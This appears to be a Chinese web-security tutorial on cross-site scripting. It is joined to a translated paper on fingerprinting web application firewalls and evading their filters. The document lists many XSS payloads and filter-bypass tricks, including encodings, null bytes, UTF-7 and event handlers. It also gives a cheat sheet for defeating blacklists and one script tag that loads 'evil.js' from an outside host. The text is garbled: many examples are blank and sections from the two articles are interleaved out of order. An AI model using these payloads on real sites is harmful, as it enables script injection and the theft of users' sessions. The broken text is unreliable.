第二百六十五节,xss脚本攻击介绍
xss脚本攻击介绍
Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的。它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类
XSS 分类:
非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的)
非持久性:
非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。举个例子,就比如某个网页上的搜索引擎,如果攻击者搜索的字 符串包含了一些 html 标签,通常来说,搜索的结果就会以该形式显示出来,或者,至少,搜索的字符串 会包含在页面里。而这个我们是可以修改的,如果任何搜索的字符串都没有被 html 编码,XSS 漏洞就产 生了。
持久性 XSS:
也叫做存储型 XSS,或是二次漏洞,他能够导致更加有效的攻击。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,那么每一个访问该页面的用户都会被攻击,典型的例子就是在线留言板, 它允许用户提交数据。
基于 DOM 的 XSS:
也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,那么 XSS 漏洞产生,和非持久的类似,攻击者可以用恶 意代码填充这个参数,然后覆写的页面诱骗用户点击,然后就会被浏览器解析成 html,包含了恶意的脚本 代码。
发现XSS 漏洞
最常用的 XSS 漏洞测试代码::
<script>alert("XSS")</script>
当这个代码被注入到输入框或是 url 参数的时候,会成功也可能会失败,如果失败了。也不意味着网站就 是安全的。需要继续渗透。
XSS 绕过过滤
转义字符串
第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,如果你发现了。你就会发 现很有意思。要细心。看到了把。是在一个输入(INput)标签里。
在这个例子,我们可以修改我们的输入来包含两个字符,来让代码跳出那对外围的单引号,
'><script>alert("XSS")</script>
现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面 上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代 码。
'><script>alert("XSS")</script><script>alert("XSS")</script>
Ok 了。Javascript 代码就注入了。这个没什么意义,你可以自己改,但是符合 html 的标准, 页面不会出错。
绕过单引号过滤继续!
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通 过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:
<script>alert(\"XSS\")</script>'>
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html 的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于, 因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。
使用"或者"
来代替我们的双引号,有时候可以绕过过滤。
例子:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode 值转换成字符串。
比如:
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(String.fromCharCode(88,83,83))</script>'>
你可以使用 Mysql 数据库的 char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。 转码的工具还是很多的。
绕过 <script> 过滤
有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我们看看事件处理器的例子。
在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是 有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不 过我们可以继续看看 onerror 事件处理。
注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script>标签哦。
使用 IMG 源
Html 中最常用的两个标签 img 和 a href 一般是不会过滤的,一个指定图片,一个指定超链接。最危险的 事 img 标签。
下面是一些例子:
标准的样子:
没有双引号和分号:
过滤了双引号和<script>:
使用 CharCode 绕过过滤:
有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码:
<IMG
SRC=javascript:al
1; rt('XSS')>
使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。
<IMG SRC=javascript:al ;& #x65;rt('XSS')>
使用制表符, 换行符和回车符
这些符号都是可以用来欺骗过滤器的。
上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变
使用空字符
另一个可以绕过的就是空字符,这是最有效的工具了。。
下面这个就是个例子。:
alert("XSS")</script>
空字符 (%00) 使得过滤器不能看到完整的 <script> 标签. 只在 IE 6.0, IE 7.0 可以。
双引号配对的bug
绕过这种过滤就是寻找闭合的标签,然后构造来突破
比如:
<script>alert('XSS')</script>">
通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事 实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:
<script>alert('xss')</script>">
绕过CSS 过滤器
HTML 标签用来插入 javaScript 很有用,但是 CSS 也是可以的哦。有很多方式向 CSS 里插入 XSS,所 有更多的方法可以攻击,嘴尖的方法是吧 XSS 代码放到 LINK 方式引用的 CSS 的 href 属性里面去
Ie7 已经不允许了。但是 opera 和 ie6 还是可以的。。 还有一种方式 使用双引号 如果你需要使用双引号和单引号。使用一些诡异的用法把。。 转义字符 转义字符有时候很有用,可以对付一些简单的过滤器 结果如下: 编码 使用 utf-7 编码可以绕过 比如 使用 UTF-7 编码后: 然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符 一个列表: Ok。就这样。 WAF指纹识别和XSS过滤器绕过技巧 0x1 前言 之前在乌云drops上看到一篇绕过WAF跨站脚本过滤器的一些技巧,是从国外的一篇paper部分翻译过来的,可以说文章摘取了原文核心的代码部分,见Bypass XSS过滤的测试方法。看完后觉得确实讲得比较全面和细致,然后找出了英文原文的paper,看了一下并画蛇添足的进行了下翻译,翻译得不好但算是有了篇完整的文章。 0x2 正文 摘要: 众所周知,过去多年以来信息安全领域的划分出现了。web应用正遭受攻击,从这个角度来说,WAF(Web Application Firewalls)变得越来越流行,通常而言,各种机构会使用它来防范包括SQL注入、跨站脚本和远程命令执行在内的各种攻击。 web应用依旧是网络犯罪的一个主要攻击向量,数据显示网络犯罪并没有减少的迹象。攻击者现在越来越多地通过通过跨站脚本、SQL注入和其他一些渗透技术对应用层发起攻击。 web应用中的漏洞作为一个攻击目标可以归根于很多问题,包括:脆弱的输入验证、会话管理、不正确的系统设置及操作系统和服务器软件的缺陷。值得注意的是,犯错是人类的天性。实际上,编写安全的代码是减少web应用程序中漏洞的最有效方法。然而,在编程时我们免不了要出错,编写安全的代码说的远比做起来要简单,而且这还会涉及几个关键的问题。 web应用中缺乏对用户输入参数和服务端响应的有效验证会引发XSS,这种攻击可以在目标用户的浏览器中插入任意HTML代码。 从技术上来说,当用户的输入参数在浏览器中完全显示出来时就会出现这个问题,比如javascript代码能被解析为合法程序的一部分并能访问文档的所有实体(DOM)。现实中,在用户浏览器中修改脆弱应用程序的HTML文档或者使用网络钓鱼都会引发攻击,XSS攻击通常通过控制输入字段实现大量网站的脚本注入。 1.2 介绍 2.1 指纹识别WAF 2.1.1 Cookie值 一些WAF会在HTTP通信中加上它们唯一的cookie,这对攻击者来说是非常有用的。 2.1.2 指纹识别 Citrix Netscaler 高亮部分标红(ns_af)是netscaler在GET请求中添加的cookie,这暗示了该应用的背后运行中citrix netscaler 2.1.3 指纹识别 F5 BIG IP ASM 2.1.4 HTTP Response 2.1.5 指纹识别Mod_Security 响应: An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security. 2.1.5 指纹识别WebKnight Webknight是另一款非常流行的WAF,针对IIS服务器而设计。Webknight使用黑名单机制并查找诸如SQL注入、路径遍历、XSS攻击的特征,不同于其他WAF,识别Webknight非常容易,一个恶意请求返回"999 No Hacking" 请求: 响应: 2.1.6 识别F5 BIG IP 请求: 2.1.7 识别dotDefender 响应: 2.2.1 用Wafw00f自动指纹识别 一些WAF足够聪明,会在cookie值和HTTP响应中隐藏自己的标记,这意味着即便你发送一个恶意的请求,响应永远都是“200 ok”,在这种情况下我们需要额外的测试来识别这种WAF的指纹。幸运的是,我们可以使用Wafw00f来节省我们的时间。
2.2.2 基于Cookie的检测 wafw00f使用的最常见的类型是基于cookie的检测,下面的截图演示了使用正则表达式匹配特定的cookie,在本例中是F5asm和F5trafficsheild。注意到F5 traffic sheild也会在服务器头里返回"F5-TrafficSheild",而这就是我们要找的代码 2.2.3 匹配HTTP响应 第二常见的类型检测方法是匹配http响应,我们之前已了解到有些WAF的响应含有独一无二的http响应代码,这有助于我们识别使用的WAF。下面的代码用于检测应用背后是否部署了"webKnight"防火墙,它发送一个攻击向量并匹配响应代码是否为"999",我们前面已经发现当WebKnight收到一个恶意请求时会抛出“999” 2.2.4 WAF清单 2.2.5 使用工具 3.1 绕过黑名单 我们知道,为了节省时间大部分WAF提供商会使用黑名单进行否定,这意味着他们有一个包含复杂正则表达式的签名数据库,使用这个数据库可以查询他们试图阻塞的模式。问题在于这种基于黑名单的保护方法可以被绕过,因为javascript是如此灵活,这取决于具体于上下文。我们有成千上万的方式可以使用javascript绕过基于黑名单的保护机制,这也是我们在这一节要讨论的。 有三种绕过黑名单的方法: 1)暴力破解 3.1.2 暴力破解 在暴力破解方法中,我们一般会抛出大量的攻击载荷并期望它们能触发,这也是大多数自动化工具和扫描器使用的方式。这种方法对一些过滤器而言可能是有效的,但是在真实环境中却常常会失败,因为自动化扫描器不理解上下文内容,而我们的攻击载荷在不同上下文中也是不同的。 3.1.3 正则逆向 这是绕过WAF的最佳方式,之前说过WAF依赖于使用它们数据库中的前面来匹配攻击载荷。这些指纹大多数是以复杂的正则表达式的形式存在,如果攻击载荷匹配了规则库中的正则就会触发WAF,但是如果不匹配则不会触发。使用这种方法,我们需要花点时间来逆向猜测WAF的指纹,一旦知道了WAF的阻塞规则,我们就可以构造不会触发WAF规则的攻击载荷和有效的javascript语法。 3.1.4 浏览器Bug 当上面两种方法都没法成功,利用浏览器漏洞则是我们剩下的最后一种办法了,绕过浏览器的关键在于我们要比供应商更加了解浏览器的机制。我们常常会遇到有着完整规则的WAF,使用现代浏览器我们没法绕过黑名单,因此我们将阵地转移至更旧的浏览器版本,看是否有已公布的bug或者能否找到一个0 day。继续尝试,我们可以发现一些浏览器bug,并看看怎样才能用它们绕过WAF。 4.1 绕过黑名单的方法 – Cheat Sheet 本节我们会看一下绕过黑名单的方法和方式,同样我还会在本节中谈及暴力破解和逆向正则的方法。 4.1.1 初始测试 1)尝试插入无害的HTML载荷如,,,观察它们是否会被阻塞,http响应是怎样的。是否被html编码了、标签和尖括号是否被过滤了、是否有替换发生。 2)如果开或闭标签被剔除了,尝试插入未闭合的标签(
3)接下来试一下99.99%的xss过滤器都会过滤的XSS载荷: 你收到的响应是什么呢,它触犯了403 forbidden页面还是500错误?是否在http响应中完全剔除了整条语句了?或者只是部分剔除了,你还剩下alert、prompt、confrom?如果是这样的话,()是否也被过滤了呢? 接下来,试着注入大小写组合的代码,说不定只有小写会被过滤。 4)假设大小写组合无法绕过过滤器,我们还可以使用嵌套的标签. 这种情况下,过滤器会剔除<script>和</script>标签,当外层的标签被过滤后 5)接下来我们会使用
href被过滤了吗? 它触发了错误吗? 是否href里面的整个javascript标签都被剔掉了,或者仅剔除了"javaScript"? 如果我们在href标签中,但javascript关键字被过滤了,还有很多不同的编码类型可供使用,后面会说到。接下来我们试一下使用事件处理执行Javascript代码 事件处理被删掉了吗? 还是说仅仅过滤了"on"后面的"mouseover" 接下来插入一个无效的事件处理检验是否所有的事件处理都会被过滤或者仅部分会被过滤 收到相同的响应了吗? 你能注入吗? 4.1.2 测试其他标签 接下来我们尝试一下其他常用能生成有效javascript语法的标签和属性 src属性: iframe: embed标签: action属性: action是另外一个可以用于执行javascript脚本的属性,通常用于
另一个方式是使用
<script>alert("XSS")</script>
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
1.1 基本概念
Firewalls、IDS、IPS是用于保护基础设施免于恶意攻击的最常见的安全机制。其中,防火墙最为常用的安全机制,通常置于网络层和应用层,通过基于预配置的注册签名数据库监控客户端和服务器端的HTTP和HTTPS流量,以此分析恶意数据包。
一般来说,基于网络的应用层防火墙的基本目标是监控和阻塞违背了预定义策略的用户内容,有时候这些策略匹配可能成为潜在攻击的用户输入模式。通过WAF的规则在语义上而言和XSS的攻击载荷是一样的,关键在于避免处罚安全策略。
WAF依赖于最常见的两项措施,即白名单和黑名单,白名单意味着仅允许当前数据库中白名单上的成员通过,而黑名单则会尝试过滤掉不被允许的通过。最常见的方法是使用黑名单,意味着会过滤掉那些已知的不可靠的,然而设置黑名单并不是正确的方法,它依赖于可以被绕过的黑名单列表。本文着重于解释各种能绕过WAF的方法,尤其是那些依赖于黑名单机制的WAF。
在这一节中,我们会学习一些识别WAF的技巧。侦查是行动的第一步,在绕过前先知道我们面对的是什么是很重要的。一些WAF会在cookie值或http响应中留下明显的标记,这让我们能很容易的检测出我们面对的是什么WAF。
Citrix Netscaler便一个例子,下面是向一个部署了Citrix Netscaler的应用发起的简单而非恶意的GET请求GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC;
ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA&
Connection: keep-alive
Cache-Control: max-age=0
F5是有着深层检测功能的世界知名web应用防火墙,类似于citrix netscaler,F5 BiG IP ASM也会在它们的HTTP通信中添加特定的cookie。下面是提交给有F5防火墙的应用一个非恶意GET请求:GET / HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1;
s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE];
fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66;
TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828;
TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299
Connection: keep-alive
Cache-Control: max-age=0
其他WAF可以通过提交恶意请求后的HTTP响应类型来检测,每款WAF的响应各不相同,比较常见的有403、406、419、500、501等
Mod_security是一款针对Apache服务器而设计的开源WAF,由于是开源的,Mod_security曾被多次绕过,但也因此其检测能力有了重大的提升。一个恶意请求被发送给部署了mod_security的应用后返回一个“406 Not acceptable”错误,在响应体中也暗示了该错误由mod_security生成。
请求:GET /<script>alert(1);</script>HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 406 Not Acceptable
Date: Thu, 05 Dec 2013 03:33:03 GMT
Server: Apache
Content-Length: 226
Keep-Alive: timeout=10, max=30
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!
GET /?PageID=99<script>alert(1);</script>HTTP/1.1
Host: www.aqtronix.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 999 No Hacking
Server: WWW Server/1.1
Date: Thu, 05 Dec 2013 03:14:23 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 1160
Pragma: no-cache
Cache-control: no-cache
Expires: Thu, 05 Dec 2013 03:14:23 GMT
发送给F5 BIG IP的恶意请求会返回“419 Unknown”响应,这个也可以作为F5的指纹,即便请求中cookie值被隐藏了GET /<script> HTTP/1.0
HTTP/1.1 419 Unknown
Cache-Control: no-cache
Content-Type: text/html; charset=iso-8859-15
Pragma: no-cache
Content-Length: 8140
Date: Mon, 25 Nov 2013 15:22:44 GMT
Connection: keep-alive
Vary: Accept-Encoding
dotDefender是另一款为保护.net应用程序而设计的知名WAF,同Mod_security和Webknight类似,在发送恶意请求后dotDefender会在响应体中包含暗示自身的信息
请求:GET /---HTTP/1.1
Host: www.acc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 05 Dec 2013 03:40:14 GMT
Content-Length: 2616
Wafw00f是一个python写的、专门用于指纹识别WAF的小工具,它生成5种不同的测试来检测WAF,例如跟踪http请求里面的cookies、分析发送恶意请求收到的http响应、使用丢FIN和RST数据包的方法并查看收到的响应、服务器隐藏、修改URL、选择http方法及测试从一个WAF到另一个WAF的预建的否定签名。
让我们直接从wafw00f源代码看一下它使用的检测方法。下面的几个截图演示了几个作为http请求发送的攻击向量,包含了常用的XSS字符串、遍历/etc/passwd的尝试及一个干净的HTML字符串。这些是最WAF一开始就会阻塞的常用特征,发送背后的意图是引起WAF触发一个唯一的错误以帮助wafw00f识别部署在应用后的WAF
wafw00f中的-list参数可以被用来确定wafw00f目前能检测的wafdef iswebknight(self):
detected = False
for attack in self.attacks:
r = attack(self)
if r is None:
Return
response,responsebody= r
if response.status== 999:
detected =True
Break
return detected
这个工具很容易使用,你只需执行下面的命令即可./wafw00f.py http://www.target.com
2)正则逆向
3)浏览器bug<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">
<script>alert(1);</script>
Google Search
href里面的数据被过了了吗?
如果标签都没有过滤掉,我们可以在href标签里面插入javascript语句Clickme
试一下混合的大小写能否绕过ClickHere
ClickHere
如果我们可以注入无效的事件处理且"on"部分并未过滤,这意味着会过滤特定的事件处理。在HTML5中,我们有超过150种事件处理,这也意味着我们有150多种方法执行javascript,一个显著的变化是事件处理不会被过滤掉。一个很少被过滤的事件处理为"onhashchange":click me
接下来我们会测试src属性是否会被过滤,有很多html标签都可以使用src属性执行JavaScript代码